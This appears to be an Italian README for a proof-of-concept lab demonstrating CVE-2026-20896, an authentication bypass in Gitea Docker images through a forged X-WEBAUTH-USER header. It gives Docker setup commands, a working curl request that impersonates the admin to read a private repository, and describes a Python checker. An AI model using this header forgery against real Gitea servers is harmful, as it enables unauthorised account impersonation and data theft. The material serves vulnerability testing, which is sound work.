
Laboratorio proof-of-concept e script Python/cURL che dimostrano CVE-2026-20896, un bypass di autenticazione nelle immagini Docker ufficiali di Gitea tramite l'header X-WEBAUTH-USER.
[!WARNING] Usa questo PoC solo in un laboratorio locale o contro un sistema che sei esplicitamente autorizzato a testare.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 è un bypass dell'autenticazione nelle immagini Docker ufficiali di Gitea interessate. Quando l'autenticazione tramite reverse proxy è abilitata, l'impostazione REVERSE_PROXY_TRUSTED_PROXIES = * generata dall'immagine consente a un client in grado di raggiungere il backend di Gitea di impersonare un utente esistente tramite l'header X-WEBAUTH-USER.
Il laboratorio crea un amministratore chiamato gitea-admin con una password casuale e memorizza CVE-2026-20896_AUTH_BYPASS_CONFIRMED nel repository privato gitea-admin/private-proof. La lettura di quel file senza conoscere la password casuale dell'amministratore dimostra il bypass.
| Categoria | Versione |
|---|---|
| Vulnerabile | Immagini Docker ufficiali gitea/gitea ≤ 1.26.2 |
| Prima versione corretta | 1.26.3 |
| Consigliata | 1.26.4 o successiva |
La configurazione vulnerabile richiede che l'autenticazione tramite reverse proxy sia abilitata e che il backend di Gitea sia raggiungibile direttamente, oppure che un proxy a monte preservi l'header di identità fornito dall'attaccante. Per questa riproduzione locale non è richiesto un container reverse proxy.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendi qualche secondo per l'inizializzazione di Gitea e del repository privato di prova.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Un'exploit riuscita restituisce CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Lo script confronta richieste non autenticate, non amministrative e con amministratore falsificato e stampa VULNERABLE quando il bypass dell'autorizzazione è confermato. Richiede Python 3.10 o successivo e utilizza solo la libreria standard.
REVERSE_PROXY_TRUSTED_PROXIES agli indirizzi dei proxy attendibili.docker stop cve-2026-20896-gitea-vuln